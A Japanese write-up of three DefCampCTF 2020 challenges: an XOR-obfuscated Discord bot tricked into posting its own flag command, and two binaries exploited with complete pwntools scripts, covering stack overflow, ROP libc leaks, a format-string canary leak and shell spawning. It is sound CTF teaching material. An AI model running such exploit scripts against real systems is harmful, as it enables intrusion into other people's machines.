DefCampCTF 2020 Writeup

Mon Dec 07 2020

12/5-12/7 に開催された DefCampCTF に参加しました。6, 7日は仕事などがあり参加できなかったので5日の夜だけ手を出した形となりました。 あまり問題は解けていないですが、備忘録も兼ねて一応解いた問題についての writeup を書きます。 (難易度 Entry Level の問題については省略します)

dumb-discord

cpython-36 のファイルが与えられるので、まずは decompile します。 uncompyle6 を使いました。 uncompyle6 server.cpython-36.pyc > server.py 得られるファイルは以下になります。

server.py
# uncompyle6 version 3.7.4
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.8.6 (default, Sep 30 2020, 04:00:38) 
# [GCC 10.2.0]
# Embedded file name: server.py
# Compiled at: 2020-12-02 11:30:35
# Size of source mod 2**32: 1909 bytes
from discord.ext import commands
import discord, json
from discord.utils import get

def obfuscate(byt):
    mask = b'ctf{tryharderdontstring}'
    lmask = len(mask)
    return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt))


def test(s):
    data = obfuscate(s.encode())
    return data


intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config[test('\x17\x1b\r\x1e\x1a').decode()]
client = commands.Bot(command_prefix='/')

@client.event
async def on_ready():
    print('Connected to bot: {}'.format(client.user.name))
    print('Bot ID: {}'.format(client.user.id))


@client.command()
async def getflag(ctx):
    await ctx.send(test('\x13\x1b\x08\x1c').decode())


@client.event
async def on_message(message):
    await client.process_commands(message)
    if test('B\x04\x0f\x15\x13').decode() in message.content.lower():
        await message.channel.send(test('\x13\x1b\x08\x1c').decode())
    if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower():
        if message.author.id == 783473293554352141:
            role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode()))
            member = discord.utils.get((message.author.guild.members), id=(message.author.id))
            if role in member.roles:
                await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()]))
    if test('L\x1c\x03\x17\x04').decode() in message.content.lower():
        await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode())
    if '/s基ay' in message.content.lower():
        await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), ''))


client.run(token)
# okay decompiling server.cpython-36.pyc

xor を使ってちょっとした難読化を obfuscate 関数で行っています。これを復号してソースコードを読みやすくします。

server.py
from discord.ext import commands
import discord, json
from discord.utils import get

intents = discord.Intents.default()
intents.members = True
cfg = open('config.json', 'r')
tmpconfig = cfg.read()
cfg.close()
config = json.loads(tmpconfig)
token = config['token']
client = commands.Bot(command_prefix='/')

@client.event
async def on_ready():
    print('Connected to bot: {}'.format(client.user.name))
    print('Bot ID: {}'.format(client.user.id))


@client.command()
async def getflag(ctx):
    await ctx.send('pong')


@client.event
async def on_message(message):
    await client.process_commands(message)
    if 'ping' in message.content.lower():
        await message.channel.send('pong')
    if '/getflag' in message.content.lower():
        if message.author.id == 783473293554352141:
            role = discord.utils.get((message.author.guild.roles), name=('dctf2020.cyberedu.ro'))
            member = discord.utils.get((message.author.guild.members), id=(message.author.id))
            if role in member.roles:
                await message.channel.send(test(config['flag']))
    if '/help' in message.content.lower():
        await message.channel.send('Try harder!')
    if '/s基ay' in message.content.lower():
        await message.channel.send(message.content.replace('/s基ay', '').replace('/getflag', ''))


client.run(token)

config の中に flag が入っており、それを bot が発言してくれるための条件は、

  • id が 783473293554352141 の人が /getflag と発言する
  • その発言者は dctf2020.cyberedu.ro というロールを持つ必要がある

ということがわかります。

この id = 783473293554352141 の人をどう探すのかというところに結構時間をかけてしまいました…運営の用意した discord server の中にこの人がいて、 /getflag と発言しているのを検索で見つけ出すという問題かなと最初は思ったのですが、全然見つかりません。

discord の仕様についてよくわかっていなかったため、とりあえず手元で discord の bot を作ってみようと思ったところ、 bot をチャンネルに登録するときに https://discord.com/api/oauth2/authorize?client_id=CLIENT_ID&permissions=0&scope=bot というリンクを踏むことで登録できることを知りました。そのときに「もしかして 783473293554352141 は bot の ID だったりしないだろうか…?」と思い https://discord.com/api/oauth2/authorize?client_id=783473293554352141&permissions=0&scope=bot にアクセスすると、それっぽい bot を招待することができました。783473293554352141 は↑で動いている bot そのものだったというわけです。

ここでようやく /s基ay というコマンドが意味を持ち始めました。このコマンドは /s基ay/getflag を空文字に変換して返してくれます。 これを使って bot に /getflag と発言させればクリアとなりそうです (bot の role に dctf2020.cyberedu.ro を登録するのを忘れずに)。自分の場合は

/s基ay //getflaggetflag

と入力することで

b'\x00\x00\x00\x00E\x10A\x0e\x00E\x02VA\x00\x0eXC\x17\x12\x17\x0b_\x03H\x05C_CAB\x1d\x0b\x07CWSAT\r[AEG\x17PVRKU\x16\x00L\x16EOZYC\x00QB]\x0bYFK\x17D\x14'

という文字列を得ました。これは obfuscate されているため再び xor で戻してあげると、フラグが得られました。

ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}

bazooka

ソースコードがないのでまずは静的解析をします。 vuln という、いかにもな関数が存在しているので、それの呼び出し元を見てみます。

│           0x004007c1      488d4590       lea rax, [s1]
│           0x004007c5      4889c6         mov rsi, rax
│           0x004007c8      488d3dba0100.  lea rdi, [0x00400989]       ; "%s" ; const char *format
│           0x004007cf      b800000000     mov eax, 0
│           0x004007d4      e827feffff     call sym.imp.__isoc99_scanf ;[3] ; int scanf(const char *format)
│           0x004007d9      488d4590       lea rax, [s1]
│           0x004007dd      488d353d0200.  lea rsi, str.try_hard3r     ; 0x400a21 ; "#!@{try_hard3r}" ; const char *s2
│           0x004007e4      4889c7         mov rdi, rax                ; const char *s1
│           0x004007e7      e8f4fdffff     call sym.imp.strcmp         ;[4] ; int strcmp(const char *s1, const char *s2)
│           0x004007ec      85c0           test eax, eax
│       ┌─< 0x004007ee      750c           jne 0x4007fc
│       │   0x004007f0      b800000000     mov eax, 0
│       │   0x004007f5      e8fdfeffff     call sym.vuln               ;[5]

まずは #!@{try_hard3r} という文字列を入力することで vuln 関数に飛べるようです。

vuln 関数を見てみます。

┌ 97: sym.vuln ();
│           ; var int64_t var_70h @ rbp-0x70
│           0x004006f7      55             push rbp
│           0x004006f8      4889e5         mov rbp, rsp
│           0x004006fb      4883ec70       sub rsp, 0x70
│           0x004006ff      488d3d120200.  lea rdi, str.Welcome_to_Bazooka_Station    ; 0x400918 ; "------  Welcome to Bazooka Station -----\n" ; const char *s
│           0x00400706      e8a5feffff     call sym.imp.puts           ;[1] ; int puts(const char *s)
│           0x0040070b      488d3d300200.  lea rdi, str.Alterate_data_and_crash    ; 0x400942 ; "Alterate data and crash" ; const char *format
│           0x00400712      b800000000     mov eax, 0
│           0x00400717      e8b4feffff     call sym.imp.printf         ;[2] ; int printf(const char *format)
│           0x0040071c      488d3d3d0200.  lea rdi, str.Before_to_type__look_around____Message:    ; 0x400960 ; "\nBefore to type, look around! \nMessage: " ; const char *format
│           0x00400723      b800000000     mov eax, 0
│           0x00400728      e8a3feffff     call sym.imp.printf         ;[2] ; int printf(const char *format)
│           0x0040072d      488d4590       lea rax, [var_70h]
│           0x00400731      4889c6         mov rsi, rax
│           0x00400734      488d3d4e0200.  lea rdi, [0x00400989]       ; "%s" ; const char *format
│           0x0040073b      b800000000     mov eax, 0
│           0x00400740      e8bbfeffff     call sym.imp.__isoc99_scanf ;[3] ; int scanf(const char *format)
│           0x00400745      488d3d400200.  lea rdi, str.Hacker_alert    ; 0x40098c ; "Hacker alert!!!" ; const char *s
│           0x0040074c      e85ffeffff     call sym.imp.puts           ;[1] ; int puts(const char *s)
│           0x00400751      b800000000     mov eax, 0
│           0x00400756      c9             leave
└           0x00400757      c3             ret
            ; CALL XREF from sym.l00p @ 0x40080d

scanf で標準入力を受け付けているが、文字数チェックを行っていないのでスタックオーバーフローが狙えそうです。 canary もないので ROP をしていきます。

まずは libc のバージョンをリークします。

  • pop rdi; ret
  • GOT のアドレス
  • puts のアドレス
  • vuln のアドレス

を return address 以降に書き込むことで、 GOT のアドレスを表示しつつ vuln 関数に戻ってきます。

from pwn import *

p = remote("34.89.211.188", 30027)

elf = ELF("./pwn_bazooka_bazooka")
context.binary = elf

offset = b"A" * (0x70 + 8)
p.sendlineafter("Secret message: ", "#!@{try_hard3r}")


def leak(address):
    payload = b""
    rop = ROP(elf)
    rop.raw(rop.find_gadget(["pop rdi", "ret"]))
    rop.raw(address)
    rop.call(elf.plt.puts)
    rop.raw(elf.symbols["vuln"])
    print(rop.dump())
    payload += offset
    payload += rop.chain()
    p.sendlineafter("Message: ", payload)
    _ = p.recvline()
    leaked = p.recvline().strip()
    leaked = unpack(leaked.ljust(8, b"\0"))
    print(hex(leaked))
    return leaked


puts_got = leak(elf.got.puts)
printf_got = leak(elf.got.printf)

これで得られた puts や printf の GOT のアドレスを https://libc.rip/ に入力し、対応する libc (libc6_2.27-3ubuntu1.3_amd64.so) を入手しました。 あとは sytem("/bin/sh") を呼び出すだけです。

libc = ELF("./libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = printf_got - libc.symbols.printf

payload = b""
rop = ROP(elf)
rop.system(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
payload += offset
payload += rop.chain()
p.sendlineafter("Message: ", payload)
p.interactive()

ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}

darkmagic

この問題も vuln といういかにもな関数があるので見てみます。

│           0x004007a7      c74584010000.  mov dword [var_7ch], 1
│           0x004007ae      c7851cffffff.  mov dword [var_e4h], 0
│       ┌─< 0x004007b8      eb71           jmp 0x40082b
│       │   ; CODE XREF from sym.vuln @ 0x400834
│      ┌──> 0x004007ba      488d8520ffff.  lea rax, [format]
│      ╎│   0x004007c1      ba00020000     mov edx, 0x200              ; 512 ; size_t nbyte
│      ╎│   0x004007c6      4889c6         mov rsi, rax                ; void *buf
│      ╎│   0x004007c9      bf00000000     mov edi, 0                  ; int fildes
│      ╎│   0x004007ce      e86dfeffff     call sym.imp.read           ;[1] ; ssize_t read(int fildes, void *buf, size_t nbyte)
│      ╎│   0x004007d3      488d8520ffff.  lea rax, [format]
│      ╎│   0x004007da      4883c068       add rax, 0x68               ; 104
│      ╎│   0x004007de      ba00020000     mov edx, 0x200              ; 512 ; size_t nbyte
│      ╎│   0x004007e3      4889c6         mov rsi, rax                ; void *buf
│      ╎│   0x004007e6      bf00000000     mov edi, 0                  ; int fildes
│      ╎│   0x004007eb      e850feffff     call sym.imp.read           ;[1] ; ssize_t read(int fildes, void *buf, size_t nbyte)
│      ╎│   0x004007f0      488d8520ffff.  lea rax, [format]
│      ╎│   0x004007f7      4889c7         mov rdi, rax                ; const char *format
│      ╎│   0x004007fa      b800000000     mov eax, 0
│      ╎│   0x004007ff      e82cfeffff     call sym.imp.printf         ;[2] ; int printf(const char *format)
│      ╎│   0x00400804      488d8520ffff.  lea rax, [format]
│      ╎│   0x0040080b      4883c068       add rax, 0x68               ; 104
│      ╎│   0x0040080f      4889c7         mov rdi, rax                ; const char *format
│      ╎│   0x00400812      b800000000     mov eax, 0
│      ╎│   0x00400817      e814feffff     call sym.imp.printf         ;[2] ; int printf(const char *format)
│      ╎│   0x0040081c      8b4584         mov eax, dword [var_7ch]
│      ╎│   0x0040081f      83f80a         cmp eax, 0xa                ; 10
│     ┌───< 0x00400822      7f14           jg 0x400838
│     │╎│   0x00400824      83851cffffff.  add dword [var_e4h], 1
│     │╎│   ; CODE XREF from sym.vuln @ 0x4007b8
│     │╎└─> 0x0040082b      8b4584         mov eax, dword [var_7ch]
│     │╎    0x0040082e      39851cffffff   cmp dword [var_e4h], eax
│     │└──< 0x00400834      7c84           jl 0x4007ba

2回 read で 0x200 文字読み込み、それらを printf で出力しています。format string attack と stack overflow の脆弱性がありそうです。 しかし今回は canary があるので単純には stack overflow ができません。そのため、まずは format string attack で canary をリークし、その後 stack overflow を使って ROP をしていく方針にしました (read が2回できることを上手く使えていないので、想定解は違うのかも)。

まずは canary のリーク。

from pwn import *
import time

sleep_time = 0.3
# context.log_level = "DEBUG"
#p = process("./pwn_darkmagic")
#p = remote("localhost", 7777)
p = remote("35.234.65.24", 30750)

elf = ELF("./pwn_darkmagic")
context.binary = elf

_ = p.recvuntil("Dark Magic is here!\n")
time.sleep(sleep_time)

# 8番目が $rbp-0xe0 に対応
canary_idx = 8 + 0xe0 // 8 - 1
payload = b""
payload += f"%{canary_idx}$016lx".encode()
payload += b"A" * (0x64 - len(payload)) + pack(2)  # もう一度 read を呼ぶために pack(2) が必要
p.sendline(payload)
time.sleep(sleep_time)
p.sendline(b"ABCDEFGHIJKLMNOPQRSTUVWXYZ")  # 適当
time.sleep(sleep_time)
ret = p.recvline()
canary = int(ret[:16], 16)
print(hex(canary))

canary をリークしてしまえばあとは bazooka の問題と同様に、 libc のリーク後に /bin/sh の実行をします。

def leak(address):
    rop = ROP(elf)
    rop.raw(rop.find_gadget(["pop rdi", "ret"]))
    rop.raw(address)
    rop.call(elf.plt.puts)
    rop.raw(elf.symbols["vuln"])
    print(rop.dump())
    payload = b""
    offset = b"A"*(0xe0 - 0x68 - 8) + pack(canary) + b"A"*8
    payload += offset
    payload += rop.chain()
    time.sleep(sleep_time)
    p.sendline(b"A\0")
    time.sleep(sleep_time)
    p.sendline(payload)
    time.sleep(sleep_time)
    leaked = p.recvline()
    leaked = unpack(leaked[-7: -1].ljust(8, b"\0"))
    print(hex(leaked))
    return leaked

puts_got = leak(elf.got.puts)
printf_got = leak(elf.got.printf)

libc = ELF("./libc6_2.27-3ubuntu1.3_amd64.so")
libc.address = printf_got - libc.symbols.printf

rop = ROP(libc)
rop.execve(next(libc.search(b"/bin/sh")), 0)
print(rop.dump())
payload = b""
offset = b"A"*(0xe0 - 0x68 - 8) + pack(canary) + b"A"*8
payload += offset
payload += rop.chain()
time.sleep(sleep_time)
p.sendline(b"A")
time.sleep(sleep_time)
p.sendline(payload)
time.sleep(sleep_time)

p.interactive()

dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}